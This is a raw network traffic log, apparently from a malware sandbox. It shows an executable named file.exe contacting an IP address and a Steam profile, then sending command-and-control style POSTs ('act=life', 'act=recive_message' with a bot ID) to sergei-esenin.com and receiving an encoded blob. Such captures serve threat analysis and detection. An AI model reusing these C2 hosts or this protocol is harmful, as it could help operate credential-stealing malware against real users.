Oct 21, 2024 10:48:01.209254026 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:48:02.098599911 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:48:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.254	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:45:59 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:46:00 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:46:00 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=83e2003395f42fa90d757212; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:46:00 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:46:00 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:46:00 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:46:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:46:01 UTC	566	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:46:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FtJIHLUBgySH5x8Td6%2BnE5qkoryw1yS3Lz6h4f0HyLLmzA7X%2BNXSwFq%2F6bQJfwbmKp5uCHas%2FrbuIVXs4rfdBGjeRWT20omuA9AqfEMgb3%2BGgo6vqSHXm8K7zrBW60UapD8nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff98a6e9e2e6c-DFW
2024-10-21 08:46:01 UTC	803	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:46:01 UTC	1369	IN	Data Raw: 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEl
2024-10-21 08:46:01 UTC	1369	IN	Data Raw: 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: /access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:46:01 UTC	903	IN	Data Raw: 34 31 2e 31 38 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d Data Ascii: 41.186</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-
2024-10-21 08:46:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.206.204	443	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:46:02 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=YHKU3vwhZF6L5XAIpMCAu_nY3bvyqqm2KIHGMppBQ_M-1729500361-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:46:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-21 08:46:05 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=02hhsc3fdj91vbfb6rqbigt3qb; expires=Fri, 14 Feb 2025 02:32:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SJhaX%2B3diBpyWqOZ4HqlJg%2BxSk%2B4YTcOKjx%2Bu%2BSDJBtbi6KIydYp5XupTRf%2FWhF1aNjCHmlH3K4Kltb91y3%2Bj2GEP%2FXfJ7TCRhG5ldS3COPWOzc3smbIvY1J6wzaomkooYqAJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ff9924ebf6c37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=993&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2887337&cwnd=250&unsent_bytes=0&cid=931c69549a1af86b&ts=2589&x=0"
2024-10-21 08:46:05 UTC	343	IN	Data Raw: 63 63 30 0d 0a 38 44 4c 68 31 68 56 49 6d 48 68 5a 45 48 67 45 65 68 70 4e 7a 48 38 79 43 74 49 49 62 79 4f 36 6e 43 56 55 76 6f 6c 43 47 48 53 4c 45 4a 66 30 4c 33 79 30 57 69 70 31 57 6a 34 4f 61 44 69 70 55 78 42 72 74 69 70 56 52 64 76 77 56 6a 47 53 71 7a 52 31 56 73 70 55 67 4c 70 6d 4c 62 52 61 50 47 68 61 50 69 46 68 62 36 6b 52 45 44 44 77 62 51 56 42 32 2f 42 48 4e 64 58 6d 4d 6e 51 58 6d 46 36 47 76 6e 41 72 2f 42 6b 31 66 52 31 68 48 33 73 6e 6f 68 5a 66 59 72 38 71 51 77 48 66 35 67 64 75 6e 4d 51 6e 62 42 57 39 55 35 4b 39 4e 7a 57 30 41 33 74 31 46 69 5a 41 4f 43 79 70 48 56 35 73 74 6d 4d 48 53 39 4c 34 52 6a 44 55 2b 53 74 2b 48 4a 68 51 68 62 39 36 49 75 67 55 50 33 6f 57 5a 78 56 37 62 2b 42 64 56 33 44 77 4d 6b 30 53 36 76 31 57 4a 38 Data Ascii: cc08DLh1hVImHhZEHgEehpNzH8yCtIIbyO6nCVUvolCGHSLEJf0L3y0Wip1Wj4OaDipUxBrtipVRdvwVjGSqzR1VspUgLpmLbRaPGhaPiFhb6kREDDwbQVB2/BHNdXmMnQXmF6GvnAr/Bk1fR1hH3snohZfYr8qQwHf5gdunMQnbBW9U5K9NzW0A3t1FiZAOCypHV5stmMHS9L4RjDU+St+HJhQhb96IugUP3oWZxV7b+BdV3DwMk0S6v1WJ8
2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 64 32 56 73 6f 51 68 62 70 32 4a 2f 6f 49 4d 33 6b 52 59 77 70 7a 4a 71 4d 51 55 47 57 36 5a 51 35 42 33 2f 52 4e 4f 64 62 76 4c 58 63 51 6b 6c 44 44 2b 6a 63 74 34 6c 70 6a 4d 6a 6c 6a 43 48 38 6a 75 46 39 71 4b 4b 38 6b 46 41 48 66 38 67 64 75 6e 4f 4d 6c 65 52 57 5a 58 34 43 38 66 44 6a 36 43 44 31 2f 48 33 51 65 66 53 47 6b 48 6b 4a 69 76 6d 77 4f 53 4e 50 33 51 6a 48 59 71 32 34 36 45 59 6f 51 32 2f 52 57 4a 2f 45 57 4d 57 55 61 4a 67 63 32 4e 75 34 61 58 43 6a 6f 4b 67 6c 41 33 50 39 44 4f 4e 4c 76 4c 48 77 59 6e 31 2b 46 76 6e 63 74 38 42 49 7a 63 78 64 74 46 33 67 71 6f 78 6c 57 5a 4c 46 76 54 51 2b 59 2b 56 39 32 68 4b 73 4f 66 52 57 41 45 72 61 33 65 53 54 39 44 48 74 74 56 48 39 59 66 79 50 75 52 52 42 6d 74 57 55 66 51 4d 72 37 53 53 54 51 37 Data Ascii: d2VsoQhbp2J/oIM3kRYwpzJqMQUGW6ZQ5B3/RNOdbvLXcQklDD+jct4lpjMjljCH8juF9qKK8kFAHf8gdunOMleRWZX4C8fDj6CD1/H3QefSGkHkJivmwOSNP3QjHYq246EYoQ2/RWJ/EWMWUaJgc2Nu4aXCjoKglA3P9DONLvLHwYn1+Fvnct8BIzcxdtF3gqoxlWZLFvTQ+Y+V92hKsOfRWAEra3eST9DHttVH9YfyPuRRBmtWUfQMr7SSTQ7
2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 64 45 72 61 33 65 53 54 39 44 48 74 74 56 48 39 59 66 79 50 75 52 52 42 6b 75 57 6f 47 53 39 7a 2b 51 44 76 5a 36 43 64 35 47 35 56 61 6a 62 4e 7a 4a 76 4d 58 50 58 49 64 59 68 31 71 4b 71 63 52 58 43 6a 2b 4b 67 70 5a 6d 4b 59 48 47 64 76 39 49 31 55 56 67 31 6e 44 71 7a 6b 7a 75 68 30 33 4d 6b 49 6d 48 33 30 6e 70 52 74 59 61 4b 4a 76 41 30 72 5a 39 45 45 33 30 65 63 6d 65 68 65 53 56 6f 2b 30 63 43 33 6f 43 44 35 30 43 47 78 59 4e 6d 2b 70 42 52 41 77 38 46 77 64 56 73 6e 6f 42 51 50 66 35 53 35 39 41 4e 4a 50 7a 61 30 33 4c 66 5a 61 59 7a 49 52 5a 68 52 2f 4a 36 67 5a 57 47 65 2f 59 78 39 41 31 50 42 56 4d 64 7a 69 4c 6e 55 61 6d 31 32 45 75 58 77 67 39 78 34 38 63 31 6f 6f 57 48 38 33 37 6b 55 51 58 71 42 6e 41 57 2f 54 38 6b 35 32 77 36 55 35 4f 68 Data Ascii: dEra3eST9DHttVH9YfyPuRRBkuWoGS9z+QDvZ6Cd5G5VajbNzJvMXPXIdYh1qKqcRXCj+KgpZmKYHGdv9I1UVg1nDqzkzuh03MkImH30npRtYaKJvA0rZ9EE30ecmeheSVo+0cC3oCD50CGxYNm+pBRAw8FwdVsnoBQPf5S59ANJPza03LfZaYzIRZhR/J6gZWGe/Yx9A1PBVMdziLnUam12EuXwg9x48c1ooWH837kUQXqBnAW/T8k52w6U5Oh
2024-10-21 08:46:05 UTC	190	IN	Data Raw: 73 48 38 72 39 42 55 36 64 68 39 6a 48 48 38 72 71 42 49 51 4a 76 42 74 46 51 47 41 76 6d 67 52 36 61 6b 42 51 46 61 4e 48 70 72 30 63 43 61 36 51 6e 74 2b 47 57 6f 51 64 79 6d 6e 45 56 70 68 75 32 59 47 52 64 54 33 51 6a 44 64 37 69 56 37 45 70 35 61 68 62 64 30 4a 66 55 56 4d 7a 4a 55 4a 68 39 67 62 2f 5a 64 64 58 2b 37 5a 41 73 42 78 37 42 65 64 74 76 6e 59 43 4a 57 6e 6c 6d 46 73 6e 49 6d 2b 78 77 7a 64 78 4a 69 47 58 34 70 72 52 4a 55 62 62 46 6c 43 55 33 57 39 45 59 33 30 4f 41 76 63 52 50 53 48 73 4f 7a 62 32 71 69 57 67 70 78 44 48 45 49 64 47 2b 78 0d 0a Data Ascii: sH8r9BU6dh9jHH8rqBIQJvBtFQGAvmgR6akBQFaNHpr0cCa6Qnt+GWoQdymnEVphu2YGRdT3QjDd7iV7Ep5ahbd0JfUVMzJUJh9gb/ZddX+7ZAsBx7BedtvnYCJWnlmFsnIm+xwzdxJiGX4prRJUbbFlCU3W9EY30OAvcRPSHsOzb2qiWgpxDHEIdG+x
2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 31 30 62 63 0d 0a 55 30 6b 6f 74 32 5a 4e 47 5a 6a 2f 56 54 7a 57 35 53 56 31 45 35 46 66 68 4c 6c 78 4a 76 41 54 4d 33 51 56 62 77 70 37 49 36 41 61 58 6d 53 2b 5a 77 64 43 31 62 34 4a 64 74 76 7a 59 43 4a 57 76 6c 65 4f 6d 6e 77 6d 2f 56 6f 6b 50 41 4d 6d 48 33 52 76 39 6c 31 63 59 72 78 6a 44 55 6a 64 39 6b 77 2f 32 65 6f 72 66 78 57 55 58 59 79 39 5a 53 44 35 46 44 68 2b 46 6d 41 5a 65 7a 32 6d 46 42 41 6d 38 47 30 56 41 59 43 2b 5a 6a 6a 52 2f 79 64 71 56 6f 30 65 6d 76 52 77 4a 72 70 43 65 33 45 62 61 52 74 35 49 71 67 55 57 47 69 32 62 77 4a 4d 31 76 6c 41 4e 74 48 6c 4c 33 77 65 6e 31 79 49 75 6e 34 73 2b 68 73 78 4d 6c 51 6d 48 32 42 76 39 6c 31 67 61 37 42 71 46 67 48 48 73 46 35 32 32 2b 64 67 49 6c 61 41 57 6f 71 30 64 43 58 39 48 6a 42 2b 48 Data Ascii: 10bcU0kot2ZNGZj/VTzW5SV1E5FfhLlxJvATM3QVbwp7I6AaXmS+ZwdC1b4JdtvzYCJWvleOmnwm/VokPAMmH3Rv9l1cYrxjDUjd9kw/2eorfxWUXYy9ZSD5FDh+FmAZez2mFBAm8G0VAYC+ZjjR/ydqVo0emvRwJrpCe3EbaRt5IqgUWGi2bwJM1vlANtHlL3wen1yIun4s+hsxMlQmH2Bv9l1ga7BqFgHHsF522+dgIlaAWoq0dCX9HjB+H
2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 35 37 67 49 65 63 66 42 74 41 51 47 41 76 6b 59 36 30 2b 67 76 65 52 57 54 57 70 47 6d 65 79 50 79 48 7a 64 35 46 47 41 4b 66 69 43 6e 48 6c 4e 68 74 32 49 42 53 39 76 35 42 33 69 63 37 44 67 36 54 74 4a 7a 6c 4b 52 36 61 75 56 55 49 6a 49 64 61 6c 67 67 62 36 59 51 57 47 4b 30 62 51 42 47 33 76 64 56 50 39 6e 6c 49 48 34 64 6e 56 61 48 74 33 63 34 2f 42 34 7a 63 52 64 72 46 6e 73 72 37 6c 4d 51 62 36 67 71 56 51 48 71 38 30 6b 74 30 2b 77 78 63 46 61 4e 48 70 72 30 63 43 61 36 51 6e 74 32 46 48 51 54 65 53 53 6c 45 31 64 6e 74 57 41 4e 54 74 7a 39 53 54 33 64 36 43 68 33 47 35 78 61 69 72 31 77 4a 76 34 64 65 7a 78 61 59 51 41 34 64 2b 34 32 63 55 57 63 62 52 63 42 78 37 42 65 64 74 76 6e 59 43 4a 57 6e 6c 6d 50 76 6e 77 74 38 42 51 79 66 42 46 30 43 6e Data Ascii: 57gIecfBtAQGAvkY60+gveRWTWpGmeyPyHzd5FGAKfiCnHlNht2IBS9v5B3ic7Dg6TtJzlKR6auVUIjIdalggb6YQWGK0bQBG3vdVP9nlIH4dnVaHt3c4/B4zcRdrFnsr7lMQb6gqVQHq80kt0+wxcFaNHpr0cCa6Qnt2FHQTeSSlE1dntWANTtz9ST3d6Ch3G5xair1wJv4dezxaYQA4d+42cUWcbRcBx7BedtvnYCJWnlmPvnwt8BQyfBF0Cn
2024-10-21 08:46:05 UTC	1369	IN	Data Raw: 55 47 79 32 59 77 74 43 33 4c 34 4a 64 74 76 7a 59 43 4a 57 76 31 79 45 6e 58 41 78 75 67 56 31 61 31 70 68 46 44 68 33 37 68 78 62 59 72 39 6e 44 6b 66 62 39 55 49 38 33 65 77 6f 64 77 53 52 58 34 79 77 64 79 58 38 48 44 70 39 48 47 45 52 65 53 65 70 58 52 34 6f 74 33 4a 4e 47 5a 6a 51 51 44 58 59 71 7a 38 30 44 39 4a 58 6a 2f 51 76 61 76 6f 51 4d 58 67 55 5a 68 39 71 4b 61 63 64 55 33 71 7a 62 41 56 48 31 50 4a 4b 50 74 58 72 4a 58 45 62 6d 56 32 46 74 48 77 72 75 6c 52 37 64 51 49 6d 51 44 67 65 6f 78 4e 55 5a 72 4e 36 43 67 48 48 73 46 35 32 32 2b 64 67 49 6c 61 64 57 5a 47 7a 63 69 4c 7a 47 6a 56 37 45 32 45 63 65 79 36 71 45 56 39 68 73 32 49 4d 53 64 66 39 52 7a 33 55 34 53 46 30 45 39 49 65 77 37 4e 76 61 71 4a 61 46 48 45 66 62 52 6b 36 43 4b 67 Data Ascii: UGy2YwtC3L4JdtvzYCJWv1yEnXAxugV1a1phFDh37hxbYr9nDkfb9UI83ewodwSRX4ywdyX8HDp9HGEReSepXR4ot3JNGZjQQDXYqz80D9JXj/QvavoQMXgUZh9qKacdU3qzbAVH1PJKPtXrJXEbmV2FtHwrulR7dQImQDgeoxNUZrN6CgHHsF522+dgIladWZGzciLzGjV7E2Ecey6qEV9hs2IMSdf9Rz3U4SF0E9Iew7NvaqJaFHEfbRk6CKg
2024-10-21 08:46:05 UTC	185	IN	Data Raw: 48 4a 4e 47 5a 6a 4c 52 44 6a 53 37 44 5a 72 57 37 56 4b 6a 72 4a 67 4f 37 70 55 65 33 52 61 50 6b 67 32 62 36 6f 4d 45 44 44 67 4f 46 59 55 69 36 6b 58 5a 4d 4f 6c 4f 54 6f 41 30 67 6a 52 2b 6a 63 34 75 6b 4a 37 4e 52 6c 30 43 6e 34 73 75 42 34 58 56 6f 35 45 43 6b 66 64 2b 56 64 30 38 75 41 30 66 56 62 63 45 49 7a 30 4c 78 4f 36 55 6e 74 4e 56 43 59 41 4f 48 66 75 4b 46 4e 6d 76 6d 30 62 55 4a 58 51 51 44 44 5a 37 44 41 34 4f 4a 6c 45 68 50 51 35 61 76 78 61 59 79 4a 55 4a 68 78 70 62 2f 5a 4e 41 6a 50 6c 4f 56 6f 52 69 75 45 4a 4c 35 7a 39 0d 0a Data Ascii: HJNGZjLRDjS7DZrW7VKjrJgO7pUe3RaPkg2b6oMEDDgOFYUi6kXZMOlOToA0gjR+jc4ukJ7NRl0Cn4suB4XVo5ECkfd+Vd08uA0fVbcEIz0LxO6UntNVCYAOHfuKFNmvm0bUJXQQDDZ7DA4OJlEhPQ5avxaYyJUJhxpb/ZNAjPlOVoRiuEJL5z9
